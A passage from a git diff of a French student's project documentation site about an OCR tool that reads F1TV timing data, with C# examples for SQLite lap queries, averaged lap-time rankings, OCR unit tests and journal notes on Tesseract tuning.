    C'est également l'affichage le moins intéressant car il ne crée aucune information, il ne fait que remontrer les infos que l'on peut déja voir dans la F1TV

    +
    + +
    "Exemple d'affichage live"
    +
    +

    Affichage calculé

    +

    La encore il y a plusieurs types d'affichages :

    +
    Affichage Hybride
    +

    Pour ce qui est des affichages hybrides ce sont des affichages qui vont chercher des informations lives et des informations dans la base de donnée. Ils ne font pas de calculs à proprement parler mais ils affichent plus d'informations que ce que montre la F1TV. Cela veut dire qu'ils représentent un début de plusvalue par rapport à l'alternative qu'est la page DATA de la F1TV.

    +

    Ils ne sont pas beaucoup plus durs à implémenter mais demandent de faire des requêtes à la base de donnée.

    +

    Comme exemple d'affichage hybride on a l'affichage des cinq derniers tours d'un pilote. C'est un affichage qui ne demande aucun calcul mais qui permet deja de se rendre compte de si le pilote est enn train de perdre ou gagner du temps ou si il est constant, ce qui n'est pas possible actuellement avec la F1TV à moins d'avoir une excellente mémoire.

    +
    + +
    "Fenêtre d'informations à propos d'un pilote"
    +
    +

    Voici un exemmple du type de code necessaire pour afficher ce genre de données:

    +
    public List<(int LapTime, int Lap)> GetDriverLaptimes(string driverName,int numberOfLaptimes)
    +{
    +    int driverId = GetDriverID(driverName);
    +    List<(int LapTime, int Lap)> lapData = new List<(int LapTime, int Lap)>();
    +    string selectQuery = "Select LapTime,Lap from Stats WHERE DriverID = @driverID ORDER BY Lap DESC LIMIT @limit";
    +    using (var command = new SQLiteCommand(selectQuery, Connection))
    +    {
    +    command.Parameters.AddWithValue("@driverID", driverId);
    +    command.Parameters.AddWithValue("@limit", numberOfLaptimes);
    +
    +    SQLiteDataReader reader = command.ExecuteReader();
    +    while (reader.Read())
    +    {
    +      int lapTime = reader.GetInt32(0);
    +      int lap = reader.GetInt32(1); 
    +      lapData.Add((lapTime, lap));
    +    }
    +  }
    +  return lapData;
    +}
    +
    +public void Display(){
    +  List<(int LapTime, int Lap)> lapsInfos = Storage.GetDriverLaptimes(driverName, 5);
    +  int id = 0;
    +  foreach ((int LapTime, int Lap) lapData in lapsInfos){
    +    Labels[id].Text = LapTime;
    +    id++;
    +  }
    +}
    +
    +

    Note: Le code montré ici n'est pas forcément le code utilisé dans le projet.

    +

    D'une certaine facon les fenêtres de bataille et de dépassements sont aussi des hybrides.

    +
    + +
    "Exemple fenêtre des batailles"
    +
    +

    Ici ce sont les batailles qui sont représentées. Aucune donnée n'est calculée, c'est litterallement directement les données de la F1TV, mais la nuance est qu'on ne montre que les pilotes qui sont en train de se battre et que on leur assigne une couleur selon à quel point ils sont proches. On a une plus-value sur la F1TV sans pour autant faire de monstres calculs.

    +

    Pour info, les pilotes considèrés comme êtant en train de se battre sont les pilotes à moins de trois secondes les uns des autres et les couleurs sont suivantes :

    +
      +
    • Vert : Dans la zone de DRS (Moins d'une seconde)
    • +
    • Jaune : Plus d'une seconde
    • +
    • Noir : Plus de deux secondes
    • +
    +
    + +
    "Exemple fenêtre des dépassements"
    +
    +

    La c'est l'historique des dépassements qui est affiché. On pourrait presque dire que c'est un affichage complêtement calculé car ce ne sont pas des informations disponibles directement sur la F1TV cependant je dirais que cela reste un hybride car il n'y a aucuns calculs. On regarde juste les différences entre l'ancienne position d'un pilote et la nouvelle et on affiche les changements.

    +
    Affichage totalement calculé
    +

    L'affichage complêtement calculé est un type d'affichage qui ne montre aucune information trouvée sur la page de la F1TV. C'est le premier affichage à traiter l'information qu'il trouve et il retourne des informations nouvelles. La nuance avec les affichages prédictif est qu'il ne crée pas réellement de l'information, il la déduit.

    +

    Le but est de prendre un certain nombre d'informations trouvées sur la page de la F1TV et de calculer des choses pour faire ressortir des tendances à l'utilisateur. Cependant on reste sur des informations factuelles. Ce sont des infos déduites que techniquement unn humain avec une bonne mémoire et fort en calcul mental pourrait faire. Mais la c'est fait automatiquement pour tous les pilotes et c'est affiché de sorte à faire ressortir les valeurs spéciales.

    +

    Comme c'est un peu plus abstrait, je pense qu'un exemple vaut mieux que 1000 mots.

    +
    + +
    "Exemple de fenêtre d'informations totalement calculées"
    +
    +

    Ci dessus on peut voir un bon exemple. C'est une fenêtre qui montre qui sont les pilotes les plus rapides et les moins rapides et qui montre la différence de temps au tour.

    +

    Cette information est totalement déduite et n'est en aucun cas trouvable sur la F1TV mais elle n'est pas inventée. Elle est simplement calculée.

    +

    La formule est assez simple, je prend les cinq derniers temps au tour de tous les pilotes. Je fais une moyenne qui donne un temps. Et ensuite je trie les pilotes en fonction de ce temps et je n'affiche que les cinq plus rapide et les cinq plus lents. Ensuite il suffit de prendre le temps le plus rapide et faire une petite soustraction pour avoir l'écart.

    +

    C'est une stat assez intéressante car elle lisse les différences d'un tour à l'autre et fait ressortir une tendance. On peut voir pour le grand prix de monaco 2023 par exemple, le moment ou les pneus pluie deviennent plus intéressants que les pneus secs car on voit que les pilotes les plus rapides sont les pilotes de fond de grille qui ont chaussé les pneus pluie en premier tandis que les plus lents sont les pilotes sur pneus secs vieux.

    +

    Voici un bout de code qui s'occupe de faire les calculs :

    +
    List<(int avg, string driverName)> averages = new List<(int avg, string driverName)>();
    +            foreach (DriverData driver in LiveDriverDataLogs[LiveDriverDataLogs.Count - 1])
    +            {
    +                //We want to recover the last 5 lap times 
    +                List<(int lapTime,int lap)> laps = Storage.GetDriverLaptimes(driver.Name,5);
    +                if(laps.Count > 0)
    +                {
    +                    int avg = 0;
    +                    foreach ((int lapTime, int lap) lap in laps)
    +                    {
    +                        avg += lap.lapTime;
    +                    }
    +                    avg = avg / laps.Count;
    +                    averages.Add((avg, driver.Name));
    +                }
    +            }
    +
    +

    Affichage prédictif

    +

    C'est ici que ca devient vraiment dommage, le projet a mannqué de temps pour implémenter des affichages prédictifs mais le potentiel est la !

    +

    Un affichage prédictif est un affichage qui crée des informations à partir des infos qu'il a mais qui fait plus qu'un calcul. Le but est de tenter de deviner quelque chose.

    +

    Voici des exemples d'affichages prédictifs qui pourraient être mis en place averc l'architecture actuelle du projet :

    +
      +
    • Si un pilote a des pneus depuis plus de 20 tours et que son temps au tour est en chute libre depuis cinq tours. Alors ce pilote va peut-être devoir s'arrêter.
    • +
    • Si un pilote tourne une seconde au tour plus vite que le pilote devant lui et que ce pilote est à 10 secondes devant, alors il devrait pouvoir le rattraper d'ici dix tours.
    • +
    • Si un arrêt au stand est en moyenne de 23 secondes, alors un pilote 3ème ressortirais potentiellement 7ème si il s'arrête maintenant.
    • +
    +

    Tous ces exemples sont des mini algorythmes prédictifs qui pourraient être implémentés assez facilement dans l'architecture actuelle du projet et pourraient apporter une immense plus-value si ils sont bien paramêtrés.

    +

    On peut même imaginer que l'algorythme se corrige tout seul si il voit qu'il a eu tort pour que les course suivante il puisse mieux s'en sortir.

    +

    Les possibilitées sont infinies !

    Tests


    -

    [A remplir au fur et à mesure de la création des tests]

    +

    Alors la on arrive à la GROSSE erreur de ce projet...

    +

    Si je ne pouvais changer qu'une seule chose à ma facon de faire le projet après coup c'est ici que je ferai le changement.

    +

    Les tests sont d'une importance absolument capitale mais si ils sont bien faits, c'est surtout un moyen ultra efficace de vérifier que du nouveau code est performant et est beaucoup plus pratique à utiliser.

    +

    Je pense sans rire que j'aurais pu gagner plusieurs jours de travail si j'avais travaillé différemment vis-a-vis des tests.

    +

    Comment ca c'est passé

    +

    Dès la création du planning prévisionnel j'ai fait une erreur capitale. J'ai mis les tests en fin de developpement des features... Et je ne leur ai laissé que très peu de temps tout en les mettant au milieu du chemin critique ce qui les rends particulièrement vulnérables si une tâche du chemin critique est retardée.

    +

    En fait dans ce projet je voulais surtout éviter de faire comme certains projets que l'on a pu avoir pendant notre formation. C'est à dire que je ne voulais surtout pas oublier la doc. Alors j'ai agencé le projet pour commencer par les fondations de la doc, puis en incluant les périodes de programmation et entre ces dernière ajouter des Tests dans les trous. Le soucis c'est que du coup les projets étaient un peu le dernier truc dont je devais me soucier ce qui a été une très mauvaise idée.

    +

    Je me suis retrouvé à devoir mordre sur les jours de tests car les tâches de programmation mettaient plus de temps que prévu (qui elles-même auraient pû être plus courte avec une bonne utilisation des tests) et je mme suis retrouvé à passer outre les tests pour avancer sur le reste du projet.

    +

    J'ai donc du en panique à la toute fin du projet construire quelques tests "unitaires" dont l'utilité est très limitée car tout le travail a déja été fait et que vu la complexité qu'a pris le projet, faire de vrais tests unitaires est devenu un peu trop compliqué pour valoir le coup.

    +

    Les seuls tests "unitaires" (Je l'écris entre quotes car ce ne sont pas vraiment des tests unitaires mais plutôt des tests tout courts car ils ne sont pas spécifiques) qu'il y a dans le projet final sont des tests exclusivement tournés sur l'OCR. Ils sont déja vraiment pratiques car cela me permet de tester d'autres algorythmes d'OCR et voir si les résultats sont meilleurs ou non mais c'est juste un peu trop tard quoi...

    +

    Les tests unitaires que j'ai implémentés sont un peu tous pareils au niveau du fonctionnement :

    +
      +
    1. On choisit une image dans une liste d'images préparées qui sont scensée représenter le type de données rencontrées par l'application en temps normal
    2. +
    3. On lis le nom de l'image que j'ai mis manuellement en indiquant ce qui était marqué sur l'image
    4. +
    5. On fait un coup d'OCR sur l'image et on compare ce résultat avec la valeur que l'on est scensé retrouver
    6. +
    +

    En pratique on est sur un code de ce style :

    +
    [TestMethod()]
    +public void SectorOCR_Test()
    +{
    +  string directory = @"./../../TestImages/Sectors/";
    +  foreach (string file in Directory.GetFiles(directory))
    +  {
    +    Bitmap image = (Bitmap)Image.FromFile(file);
    +    DriverSectorWindow sectorsWindow = new DriverSectorWindow(image, new Rectangle(0, 0, image.Width, image.Height), 1, true);
    +    string[] paths = file.Split('/');
    +    string fileName = paths[paths.Length - 1];
    +    fileName = fileName.Replace(".png", "");
    +
    +    int timeMS = (int)sectorsWindow.DecodePng();
    +    string time = Reader.ConvertMsToTime(timeMS);
    +
    +    string[] checkDigits = fileName.Split('_');
    +    string[] digitsToCheck = time.Split(':');
    +
    +    if (time == "0:00:000")
    +    {
    +      Assert.AreEqual(0, Convert.ToInt32(checkDigits[0]));
    +    }
    +    else
    +    {
    +      //The ConvertMSToTime will always return three chars so we need to make the checkDigits be also three chars
    +      while (checkDigits.Length != 3)
    +        checkDigits = new[] { "0" }.Concat(checkDigits).ToArray();
    +
    +      for (int i = 0; i < checkDigits.Length; i++)
    +      {
    +        //We need to convert to int first because sometimes we have "08" and "8" and in string its not the same but in int it is
    +        Assert.AreEqual(Convert.ToInt32(checkDigits[i]), Convert.ToInt32(digitsToCheck[i]));
    +      }
    +    }
    +  }
    +}
    +
    +

    Tout le code supplémentaire qui ne fait pas partie des étapes citées est juste la pour manipuler le format des résultats pour qu'il soit comparable.

    +
    + +
    "Exemple d'échantillons pour les tests"
    +
    +

    Ce qui est pratique avec cette approche c'est qu'il est très facile de rajouter des cas spécifiques et voir comment le programme les gère. +Si je vois que un certain nombre est souvent mal reconnu je peux faire exprès de le mettre dans le dossier et modifier mon code d'OCR jusqu'à ce que le test passe.

    +

    Si j'avais eu plus de temps j'aurais sûrement pu ajouter de vrais tests unitaires qui testent des fonctions très précises. Par exemple verifier que les différentes Windows sont bien appelées et que les zones se créent correctement ou même plus simplement que la lecture du JSON au démarrage marche bien.

    +

    Il faut savoir que même si je n'ai pas eu l'occasion d'écrire beaucoup de tests sous forme de code. Toute la phase de développement de l'OCR j'ai passé plus d'une heure par jour à analyser les résultats. Je gardais toutes les images des WINDOWS et je notais dans le nom du fichier ce que l'algorythme trouvais et je passais en revue manuellement les centaines de résultats pour isoler ceux qui posaient problème.

    +

    C'est comme ca que je me suis rendu compte par exemple que, avec cette police, les 4 et les 1 étaient souvent confondus. Donc même si les tests automatisés sont clairement insuffisant par rapport à ce que j'aurais peut-être du faire, j'ai passé énormément de temps à tester mon application.

    +

    Comment ca aurait du se passer

    +

    Si je devais refaire ce projet aujourd'hui je pense que j'utiliserais un peu la même technique que pour la doc. J'aurais mis les tâches de Tests directement au début du projet et j'aurais determiné le squelette de l'application par la même occasion.

    +

    Je pense que j'aurais mis trois jours pour écrire tous les tests dont j'aurais besoin et j'aurais fait une stratégie de TDD (Test Driven Developpement) par ce que je pense que ca marcherait vraiment super bien sur ce type de projet.

    +

    J'aurais pris je pense 5 une dixaine d'images complêtes de la F1TV de plusieurs GP différents et j'aurais mis toutes les fenêtres découpées dans des fichiers avec des tests comme ceux que j'ai fait pour ce projet. Et comme ca je saurai que mon algo est bon uniquement quand il aura réussi à passer tous les tests.

    +

    Cela règlerait le soucis que j'ai eu le plus : Me retrouver à devoir changer l'OCR 5 fois par ce que à chaque fois que je développe une nouvelle feature je me rends compte d'une faiblesse mon algorythme...

    +

    Non seulement j'aurai eu beaucoup plus de facilité à avancer sur le projet, mais en plus je pense que cela m'aurait fait gagner énormément de temps non seulement car je n'ai plus à tester tout à la main mais en plus par ce que ca veut dire que quand l'OCR passe les tests je n'ai plus jamais à m'en soucier.

    +

    Lecons

    +

    Je pense que dans mes futurs projets je mettrai les tests en début de projet plutôt que à la fin et je ferai en sorte qu'ils fassent partie du chemin critique et que je ne puisse pas passer à côté sous pretexte que "Je n'ai pas le temps".

    +

    Ecrire des tests c'est jamais marrant et c'est encore moins marrant quand ils nous empêchent d'avancer. Mais je suis convaincu que au final c'est un gain de temps et de sérénité incontournable.

    Résumé des difficultés techniques


    [A remplir au fur et à mesure dans la seconde moitié du travail de diplôme]

    @@ -1709,12 +3129,16 @@ C'est une étape très importante pour l'OCR car elle permet (si bien faite) d'i

    Ethique du projet


    [A remplir à la fin du projet pour parler des questions ethiques du projet (Ex: Utilisation potentiellement abusive de la F1Tv ou L'histoire des cookies)]

    +

    Utilisation de Chat GPT

    +
    +

    [A remplir à la fin du projet]

    Améliorations futures


    [A remplir dans les dernières semaines du travail de diplôme]

    Conclusion


    [A remplir la dernière semaine du travail de diplôme]

    +

    Notes de code

    diff --git a/site/jdb.html b/site/jdb.html index 0b2bed6..215f71c 100644 --- a/site/jdb.html +++ b/site/jdb.html @@ -227,6 +227,96 @@ Mardi 9 Mai 2023 +
  • + + Mercredi 10 Mai 2023 + +
  • +
  • + + Jeudi 11 Mai 2023 + +
  • +
  • + + vendredi 12 Mai 2023 + +
  • +
  • + + Lundi 15 Mai 2023 + +
  • +
  • + + Mardi 16 Mai 2023 + +
  • +
  • + + Mercredi 17 Mai 2023 + +
  • +
  • + + Jeudi 18 Mai 2023 + +
  • +
  • + + Lundi 22 Mai 2023 + +
  • +
  • + + Mardi 23 Mai 2023 + +
  • +
  • + + Mercredi 24 Mai 2023 + +
  • +
  • + + Jeudi 25 Mai 2023 + +
  • +
  • + + Vendredi 26 Mai 2023 + +
  • +
  • + + Grand Prix de Monaco + +
  • +
  • + + Lundi 29 Mai 2023 + +
  • +
  • + + Mardi 30 Mai 2023 + +
  • +
  • + + Mercredi 31 Mai 2023 + +
  • +
  • + + Jeudi 1 Juin 2023 + +
  • +
  • + + Vendredi 2 Juin 2023 + +
  • @@ -248,38 +338,18 @@
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -288,13 +358,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -303,13 +388,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -323,11 +418,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -449,6 +554,96 @@ Mardi 9 Mai 2023
  • +
  • + + Mercredi 10 Mai 2023 + +
  • +
  • + + Jeudi 11 Mai 2023 + +
  • +
  • + + vendredi 12 Mai 2023 + +
  • +
  • + + Lundi 15 Mai 2023 + +
  • +
  • + + Mardi 16 Mai 2023 + +
  • +
  • + + Mercredi 17 Mai 2023 + +
  • +
  • + + Jeudi 18 Mai 2023 + +
  • +
  • + + Lundi 22 Mai 2023 + +
  • +
  • + + Mardi 23 Mai 2023 + +
  • +
  • + + Mercredi 24 Mai 2023 + +
  • +
  • + + Jeudi 25 Mai 2023 + +
  • +
  • + + Vendredi 26 Mai 2023 + +
  • +
  • + + Grand Prix de Monaco + +
  • +
  • + + Lundi 29 Mai 2023 + +
  • +
  • + + Mardi 30 Mai 2023 + +
  • +
  • + + Mercredi 31 Mai 2023 + +
  • +
  • + + Jeudi 1 Juin 2023 + +
  • +
  • + + Vendredi 2 Juin 2023 + +
  • @@ -463,30 +658,30 @@

    Nous avons eu les différents fichiers nescessaires à la bonne réalisation du projet et je me suis mis à faire les fichiers nescessaires

    La première chose a été de faire ce mkdocs dans lequel j'ai mis un fichier yml plutôt standart qui risque de changer au fur et à mesure.

    Voici le premier yml :

    -
    site_name: Documentation Diplome
    -theme:
    -        name: material
    -        palette:
    -        # Palette toggle for light mode
    -        - media: "(prefers-color-scheme: light)"
    -          scheme: default
    -          toggle:
    -          icon: material/brightness-7
    -          name: Switch to dark mode
    -
    -        # Palette toggle for dark mode
    -        - media: "(prefers-color-scheme: dark)"
    -          scheme: slate
    -          toggle:
    -          icon: material/brightness-4
    -          name: Switch to light mode
    -markdown_extensions:
    -  - attr_list
    -  - md_in_html
    -plugins:
    -  - glightbox
    -  - with-pdf
    -
    +
    site_name: Documentation Diplome
    +theme:
    +        name: material
    +        palette:
    +        # Palette toggle for light mode
    +        - media: "(prefers-color-scheme: light)"
    +          scheme: default
    +          toggle:
    +          icon: material/brightness-7
    +          name: Switch to dark mode
    +
    +        # Palette toggle for dark mode
    +        - media: "(prefers-color-scheme: dark)"
    +          scheme: slate
    +          toggle:
    +          icon: material/brightness-4
    +          name: Switch to light mode
    +markdown_extensions:
    +  - attr_list
    +  - md_in_html
    +plugins:
    +  - glightbox
    +  - with-pdf
    +

    Voici un example de à quoi ca ressemble en forme de site

    @@ -544,48 +739,48 @@ Examples : https://ironsoftware.com/csharp/ocr/examples/simple-csharp-ocr-tesser

    Il va falloir faire des tests avec tous les noms et les chiffres pour trouver le plus efficace.

    Bon malheureusment Iron OCR semblait être une bonne alternative mais c'est une librairie privée qui demande une license pour être utilisée. Il va falloir trouver autre chose.

    En utilisant la librairie "Tesseract" qui existe on peut faire de la reconnaissance de texte avec un code plutôt simple :

    -
    TesseractEngine engine = new TesseractEngine(tessDataFolder.FullName,"eng", EngineMode.Default);
    -
    -var tessImage = Pix.LoadFromMemory(ImageToByte(sample));
    -
    -Page page = engine.Process(tessImage);
    -string text = page.GetText();
    -
    +
    TesseractEngine engine = new TesseractEngine(tessDataFolder.FullName,"eng", EngineMode.Default);
    +
    +var tessImage = Pix.LoadFromMemory(ImageToByte(sample));
    +
    +Page page = engine.Process(tessImage);
    +string text = page.GetText();
    +

    Voici la methode ImageToByte : https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-array

    -
    public static byte[] ImageToByte(Image img)
    -{
    -    using (var stream = new MemoryStream())
    -    {
    -        img.Save(stream, System.Drawing.Imaging.ImageFormat.Png);
    -            return stream.ToArray();
    -        }
    -}
    -
    +
    public static byte[] ImageToByte(Image img)
    +{
    +    using (var stream = new MemoryStream())
    +    {
    +        img.Save(stream, System.Drawing.Imaging.ImageFormat.Png);
    +            return stream.ToArray();
    +        }
    +}
    +

    Voici le code pour traiter plusieurs textes sur une seule image :

    -
    Page page = engine.Process(tessImage);
    -            // Get the iterator for the page layout
    -            using (var iter = page.GetIterator())
    -            {
    -                // Loop over the elements of the page layout
    -                iter.Begin();
    -                do
    -                {
    -                    // Declare a Rect variable to hold the bounding box
    -                    Rect boundingBox;
    -
    -                    // Get the bounding box for the current element
    -                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
    -                    {
    -                        g.DrawRectangle(Pens.Red,new Rectangle(boundingBox.X1,boundingBox.Y1,boundingBox.Width,boundingBox.Height));
    -                    }
    -
    -                    // Get the text for the current element
    -                    var text = iter.GetText(PageIteratorLevel.Word);
    -                    tbxResult.Text += text.ToUpper() + Environment.NewLine;
    -                } while (iter.Next(PageIteratorLevel.Word));
    -            }
    -
    +
    Page page = engine.Process(tessImage);
    +            // Get the iterator for the page layout
    +            using (var iter = page.GetIterator())
    +            {
    +                // Loop over the elements of the page layout
    +                iter.Begin();
    +                do
    +                {
    +                    // Declare a Rect variable to hold the bounding box
    +                    Rect boundingBox;
    +
    +                    // Get the bounding box for the current element
    +                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
    +                    {
    +                        g.DrawRectangle(Pens.Red,new Rectangle(boundingBox.X1,boundingBox.Y1,boundingBox.Width,boundingBox.Height));
    +                    }
    +
    +                    // Get the text for the current element
    +                    var text = iter.GetText(PageIteratorLevel.Word);
    +                    tbxResult.Text += text.ToUpper() + Environment.NewLine;
    +                } while (iter.Next(PageIteratorLevel.Word));
    +            }
    +

    Etonnament, avec plus de texte, des noms qui étaient autrefois mal reconnus sont parfaitement interprêtés.

    Par exemple voici un exemple de reconnaisance de texte sur tous les pilotes :

    @@ -626,30 +821,30 @@ https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-arrayJ'ai essayé de mettre l'engine de Tesseract en mode "JPN" comme Tsunoda est un nom japonais mais sans succès j'ai le même résultat.

    Comme la résolution est meilleure je me suis dit que peut être le filtre de passage en noir et blanc pourrait aider.

    J'ai écrit cette petite methode pour convertir l'image en noir et blanc :

    -
    private static Bitmap ConvertToBlackAndWhite(Bitmap inputBmp)
    -        {
    -            const int BLACK_TO_WHITE_TRESHOLD = 200;
    -            Bitmap result = new Bitmap(inputBmp.Width, inputBmp.Height);
    -
    -            for (int y = 0; y < inputBmp.Height; y++)
    -            {
    -                for (int x = 0; x < inputBmp.Width; x++)
    -                {
    -                    Color pixelColor = inputBmp.GetPixel(x,y);
    -                    if (pixelColor.R <= BLACK_TO_WHITE_TRESHOLD && pixelColor.G <= BLACK_TO_WHITE_TRESHOLD && pixelColor.B <= BLACK_TO_WHITE_TRESHOLD)
    -                    {
    -                        pixelColor = Color.FromArgb(0,0,0);
    -                    }
    -                    else
    -                    {
    -                        pixelColor = Color.FromArgb(255,255,255);
    -                    }
    -                    result.SetPixel(x,y,pixelColor);
    -                }
    -            }
    -            return result;
    -        }
    -
    +
    private static Bitmap ConvertToBlackAndWhite(Bitmap inputBmp)
    +        {
    +            const int BLACK_TO_WHITE_TRESHOLD = 200;
    +            Bitmap result = new Bitmap(inputBmp.Width, inputBmp.Height);
    +
    +            for (int y = 0; y < inputBmp.Height; y++)
    +            {
    +                for (int x = 0; x < inputBmp.Width; x++)
    +                {
    +                    Color pixelColor = inputBmp.GetPixel(x,y);
    +                    if (pixelColor.R <= BLACK_TO_WHITE_TRESHOLD && pixelColor.G <= BLACK_TO_WHITE_TRESHOLD && pixelColor.B <= BLACK_TO_WHITE_TRESHOLD)
    +                    {
    +                        pixelColor = Color.FromArgb(0,0,0);
    +                    }
    +                    else
    +                    {
    +                        pixelColor = Color.FromArgb(255,255,255);
    +                    }
    +                    result.SetPixel(x,y,pixelColor);
    +                }
    +            }
    +            return result;
    +        }
    +

    Rien de bien dingue mais cela fonctionne et je peux jouer avec le BLACK_AND_WHITE_TRESHOLD pour changer son comportement.

    J'ai dabord testé avec un treshold de 100 et le programme a réussi à me sortir Tsunoda en deux mots ce qui était déja très encourageant.

    Et après avoir augmenté le Treshold... Tada :

    @@ -758,107 +953,107 @@ https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-array"Diagramme d'explications"

    Voici comment se présente le squellette d'une Zone :

    -
    public class Zone
    -    {
    -        private Bitmap FullImage;
    -        private List<Zone> Zones;
    -        private List<Window> Windows;
    -
    -        private Rectangle _bounds;
    -        public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
    -
    -        public Bitmap ZoneImage
    -        {
    -            get
    -            {
    -                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
    -                Graphics g = Graphics.FromImage(sample);
    -                g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
    -                return sample;
    -            }
    -        }
    -
    -        public Zone(Image fullImage, Rectangle bounds)
    -        {
    -            FullImage = (Bitmap)fullImage;
    -            Init(bounds);
    -        }
    -        public Zone(Bitmap fullImage, Rectangle bounds)
    -        {
    -            FullImage = fullImage;
    -            Init(bounds);
    -        }
    -        private void Init(Rectangle bounds)
    -        {
    -            Bounds = bounds;
    -            Zones = new List<Zone>();
    -            Windows = new List<Window>();
    -        }
    -        public void AddZone(Rectangle bounds)
    -        {
    -            if(Fits(bounds))    
    -                Zones.Add(new Zone(ZoneImage,bounds));
    -        }
    -        public void AddWindow(Rectangle bounds)
    -        {
    -            if (Fits(bounds))
    -                Windows.Add(new Window(ZoneImage,bounds));
    -        }
    -        private bool Fits(Rectangle inputRectangle)
    -        {
    -            if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0)
    -            {
    -                return false;
    -            }
    -            else
    -            {
    -                return true;
    -            }
    -        }
    -    }
    -
    +
    public class Zone
    +    {
    +        private Bitmap FullImage;
    +        private List<Zone> Zones;
    +        private List<Window> Windows;
    +
    +        private Rectangle _bounds;
    +        public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
    +
    +        public Bitmap ZoneImage
    +        {
    +            get
    +            {
    +                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
    +                Graphics g = Graphics.FromImage(sample);
    +                g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
    +                return sample;
    +            }
    +        }
    +
    +        public Zone(Image fullImage, Rectangle bounds)
    +        {
    +            FullImage = (Bitmap)fullImage;
    +            Init(bounds);
    +        }
    +        public Zone(Bitmap fullImage, Rectangle bounds)
    +        {
    +            FullImage = fullImage;
    +            Init(bounds);
    +        }
    +        private void Init(Rectangle bounds)
    +        {
    +            Bounds = bounds;
    +            Zones = new List<Zone>();
    +            Windows = new List<Window>();
    +        }
    +        public void AddZone(Rectangle bounds)
    +        {
    +            if(Fits(bounds))    
    +                Zones.Add(new Zone(ZoneImage,bounds));
    +        }
    +        public void AddWindow(Rectangle bounds)
    +        {
    +            if (Fits(bounds))
    +                Windows.Add(new Window(ZoneImage,bounds));
    +        }
    +        private bool Fits(Rectangle inputRectangle)
    +        {
    +            if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0)
    +            {
    +                return false;
    +            }
    +            else
    +            {
    +                return true;
    +            }
    +        }
    +    }
    +

    Le but est ensuite de créer différent types de Zones.

    Par exemple la MainZone devra découper son contenu en 20 parties égales pour tenter de chopper les 20 pilotes. Il serait cool de trouver un moyen de calibrer automatiquement.

    C'est peut-être possible de calibrer avec de la reconnaissance de texte, on peut essayer de lancer la reconnaissance et voir ou on trouve du texte avec un peu de chance cela pourrait donner les positions et avec ca on peut peut-être determiner des lignes.

    Et voici le squelette d'une window générique

    -
    using System;
    -using System.Collections.Generic;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -using System.Drawing;
    -
    -namespace OCR_tester
    -{
    -    public class Window
    -    {
    -        private Bitmap FullImage;
    -
    -        private Rectangle _bounds;
    -        public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
    -
    -        public Bitmap WindowImage
    -        {
    -            get
    -            {
    -                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
    -                Graphics g = Graphics.FromImage(sample);
    -                g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
    -                return sample;
    -            }
    -        }
    -        public Window(Bitmap fullImage, Rectangle bounds)
    -        {
    -            FullImage = fullImage;
    -            Bounds = bounds;
    -        }
    -        public virtual void RecoverInformations()
    -        {
    -            //Each Window type will have to implement its own way to recover the informations stored in the Window Image
    -        }
    -    }
    -}
    -
    +
    using System;
    +using System.Collections.Generic;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +using System.Drawing;
    +
    +namespace OCR_tester
    +{
    +    public class Window
    +    {
    +        private Bitmap FullImage;
    +
    +        private Rectangle _bounds;
    +        public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
    +
    +        public Bitmap WindowImage
    +        {
    +            get
    +            {
    +                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
    +                Graphics g = Graphics.FromImage(sample);
    +                g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
    +                return sample;
    +            }
    +        }
    +        public Window(Bitmap fullImage, Rectangle bounds)
    +        {
    +            FullImage = fullImage;
    +            Bounds = bounds;
    +        }
    +        public virtual void RecoverInformations()
    +        {
    +            //Each Window type will have to implement its own way to recover the informations stored in the Window Image
    +        }
    +    }
    +}
    +

    Chaque Window pourra ainsi elle même implémenter la récupèration d'informations. La facon de les retourner/stocker est encore un peu floue.

    Par exemple pour un temps au tour on peut imaginer que il fait une petite vérification dans l'objet pilote et dans le tableau des tours si il n'y a pas deja une valeur et si il n'y en a pas une alors il peut l'ajouter.

    Maintenant je vais essayer de créer une Main window qui se calibre toute seule.

    @@ -901,62 +1096,62 @@ namespace OCR_tester

    Maintenant il faut que j'implémente un système un peu similaire pour créer des windows.

    Voici la methode que j'ai créé pour l'autocalibration :

    -
    public void AutoCalibrate()
    -        {
